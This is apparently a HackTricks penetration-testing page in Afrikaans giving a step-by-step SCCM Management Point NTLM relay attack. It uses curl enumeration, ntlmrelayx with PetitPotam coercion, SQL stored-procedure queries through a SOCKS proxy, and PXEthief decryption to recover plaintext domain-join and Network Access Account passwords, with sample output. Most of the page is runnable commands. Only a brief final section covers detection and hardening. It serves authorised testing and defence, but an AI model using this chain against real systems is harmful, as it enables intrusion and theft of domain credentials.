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156 lines
6.2 KiB
Markdown
156 lines
6.2 KiB
Markdown
# SCCM Bestuurspunt NTLM Relay na SQL – OSD Beleid Geheim Onttrekking
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{{#include ../../banners/hacktricks-training.md}}
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## TL;DR
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Deur 'n **System Center Configuration Manager (SCCM) Bestuurspunt (MP)** te dwing om oor SMB/RPC te autentiseer en daardie NTLM masjienrekening na die **terrein databasis (MSSQL)** te **relay**, verkry jy `smsdbrole_MP` / `smsdbrole_MPUserSvc` regte. Hierdie rolle laat jou toe om 'n stel gestoor prosedures aan te roep wat **Operating System Deployment (OSD)** beleid blobs (Netwerk Toegang Rekening geloofsbriewe, Taak-Reeks veranderlikes, ens.) blootstel. Die blobs is hex-gecodeer/enkripteer, maar kan gedecodeer en ontsleutel word met **PXEthief**, wat platte teks geheime oplewer.
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Hoofketting:
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1. Ontdek MP & terrein DB ↦ ongeauthentiseerde HTTP eindpunt `/SMS_MP/.sms_aut?MPKEYINFORMATIONMEDIA`.
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2. Begin `ntlmrelayx.py -t mssql://<SiteDB> -ts -socks`.
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3. Dwing MP met **PetitPotam**, PrinterBug, DFSCoerce, ens.
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4. Deur die SOCKS-proxy te verbind met `mssqlclient.py -windows-auth` as die gerelayde **<DOMAIN>\\<MP-host>$** rekening.
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5. Voer uit:
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* `use CM_<SiteCode>`
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* `exec MP_GetMachinePolicyAssignments N'<UnknownComputerGUID>',N''`
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* `exec MP_GetPolicyBody N'<PolicyID>',N'<Version>'` (of `MP_GetPolicyBodyAfterAuthorization`)
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6. Verwyder `0xFFFE` BOM, `xxd -r -p` → XML → `python3 pxethief.py 7 <hex>`.
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Geheime soos `OSDJoinAccount/OSDJoinPassword`, `NetworkAccessUsername/Password`, ens. word herwin sonder om PXE of kliënte aan te raak.
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---
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## 1. Opname van ongeauthentiseerde MP eindpunte
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Die MP ISAPI uitbreiding **GetAuth.dll** stel verskeie parameters bloot wat nie autentisering vereis nie (tenzij die terrein slegs PKI is):
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| Parameter | Doel |
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|-----------|---------|
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| `MPKEYINFORMATIONMEDIA` | Retourneer terrein ondertekening sertifikaat publieke sleutel + GUIDs van *x86* / *x64* **Alle Onbekende Rekenings** toestelle. |
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| `MPLIST` | Lys elke Bestuurspunt in die terrein. |
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| `SITESIGNCERT` | Retourneer Primêre-Terrein ondertekening sertifikaat (identifiseer die terrein bediener sonder LDAP). |
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Grijp die GUIDs wat as die **clientID** sal dien vir latere DB navrae:
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```bash
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curl http://MP01.contoso.local/SMS_MP/.sms_aut?MPKEYINFORMATIONMEDIA | xmllint --format -
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```
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---
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## 2. Stuur die MP masjienrekening na MSSQL
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```bash
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# 1. Start the relay listener (SMB→TDS)
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ntlmrelayx.py -ts -t mssql://10.10.10.15 -socks -smb2support
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# 2. Trigger authentication from the MP (PetitPotam example)
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python3 PetitPotam.py 10.10.10.20 10.10.10.99 \
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-u alice -p P@ssw0rd! -d CONTOSO -dc-ip 10.10.10.10
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```
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Wanneer die dwang afgaan, moet jy iets soos die volgende sien:
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```
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[*] Authenticating against mssql://10.10.10.15 as CONTOSO/MP01$ SUCCEED
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[*] SOCKS: Adding CONTOSO/MP01$@10.10.10.15(1433)
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```
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---
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## 3. Identifiseer OSD-beleide via gestoor prosedures
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Verbind deur die SOCKS-proxy (poort 1080 standaard):
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```bash
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proxychains mssqlclient.py CONTOSO/MP01$@10.10.10.15 -windows-auth
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```
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Skakel oor na die **CM_<SiteCode>** DB (gebruik die 3-syfer terrein kode, bv. `CM_001`).
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### 3.1 Vind Onbekende-Rekenaar GUIDs (opsioneel)
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```sql
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USE CM_001;
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SELECT SMS_Unique_Identifier0
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FROM dbo.UnknownSystem_DISC
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WHERE DiscArchKey = 2; -- 2 = x64, 0 = x86
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```
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### 3.2 Lys toegewyde beleide
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```sql
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EXEC MP_GetMachinePolicyAssignments N'e9cd8c06-cc50-4b05-a4b2-9c9b5a51bbe7', N'';
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```
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Elke ry bevat `PolicyAssignmentID`, `Body` (hex), `PolicyID`, `PolicyVersion`.
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Fokus op beleide:
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* **NAAConfig** – Netwerktoegangrekening krediete
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* **TS_Sequence** – Taakvolgorde veranderlikes (OSDJoinAccount/Wagwoord)
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* **CollectionSettings** – Kan run-as rekeninge bevat
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### 3.3 Verkry volle liggaam
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As jy reeds `PolicyID` & `PolicyVersion` het, kan jy die clientID vereiste oorslaan met:
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```sql
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EXEC MP_GetPolicyBody N'{083afd7a-b0be-4756-a4ce-c31825050325}', N'2.00';
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```
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> BELANGRIJK: Verhoog “Maximale Karakters Herwin” in SSMS (>65535) of die blob sal afgekort word.
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---
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## 4. Dekodeer & dekripteer die blob
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```bash
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# Remove the UTF-16 BOM, convert from hex → XML
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echo 'fffe3c003f0078…' | xxd -r -p > policy.xml
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# Decrypt with PXEthief (7 = decrypt attribute value)
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python3 pxethief.py 7 $(xmlstarlet sel -t -v "//value/text()" policy.xml)
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```
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Herstelde geheime voorbeeld:
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```
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OSDJoinAccount : CONTOSO\\joiner
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OSDJoinPassword: SuperSecret2025!
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NetworkAccessUsername: CONTOSO\\SCCM_NAA
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NetworkAccessPassword: P4ssw0rd123
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```
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---
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## 5. Relevante SQL rolle & prosedures
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By relay word die aanmelding toegeken aan:
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* `smsdbrole_MP`
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* `smsdbrole_MPUserSvc`
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Hierdie rolle stel dosyne EXEC-toestemmings bloot, die sleutel wat in hierdie aanval gebruik word, is:
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| Gestoor Prosedure | Doel |
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|------------------|---------|
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| `MP_GetMachinePolicyAssignments` | Lys beleid toegepas op 'n `clientID`. |
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| `MP_GetPolicyBody` / `MP_GetPolicyBodyAfterAuthorization` | Retourneer volledige beleidsliggaam. |
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| `MP_GetListOfMPsInSiteOSD` | Teruggestuur deur `MPKEYINFORMATIONMEDIA` pad. |
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Jy kan die volledige lys inspekteer met:
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```sql
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SELECT pr.name
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FROM sys.database_principals AS dp
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JOIN sys.database_permissions AS pe ON pe.grantee_principal_id = dp.principal_id
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JOIN sys.objects AS pr ON pr.object_id = pe.major_id
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WHERE dp.name IN ('smsdbrole_MP','smsdbrole_MPUserSvc')
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AND pe.permission_name='EXECUTE';
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```
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---
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## 6. Opsporing & Versterking
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1. **Monitor MP aanmeldings** – enige MP rekenaarrekening wat aanmeld vanaf 'n IP wat nie sy gasheer is nie ≈ relay.
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2. Aktiveer **Verlengde Beskerming vir Verifikasie (EPA)** op die webwerf databasis (`PREVENT-14`).
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3. Deaktiveer ongebruikte NTLM, afdwing SMB ondertekening, beperk RPC (
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dieselfde versagtings wat teen `PetitPotam`/`PrinterBug` gebruik is).
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4. Versterk MP ↔ DB kommunikasie met IPSec / mutual-TLS.
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---
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## Sien ook
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* NTLM relay beginsels:
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{{#ref}}
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../ntlm/README.md
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{{#endref}}
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* MSSQL misbruik & post-exploitatie:
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{{#ref}}
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abusing-ad-mssql.md
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{{#endref}}
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## Verwysings
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- [I’d Like to Speak to Your Manager: Stealing Secrets with Management Point Relays](https://specterops.io/blog/2025/07/15/id-like-to-speak-to-your-manager-stealing-secrets-with-management-point-relays/)
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- [PXEthief](https://github.com/MWR-CyberSec/PXEThief)
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- [Misconfiguration Manager – ELEVATE-4 & ELEVATE-5](https://github.com/subat0mik/Misconfiguration-Manager)
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{{#include ../../banners/hacktricks-training.md}}
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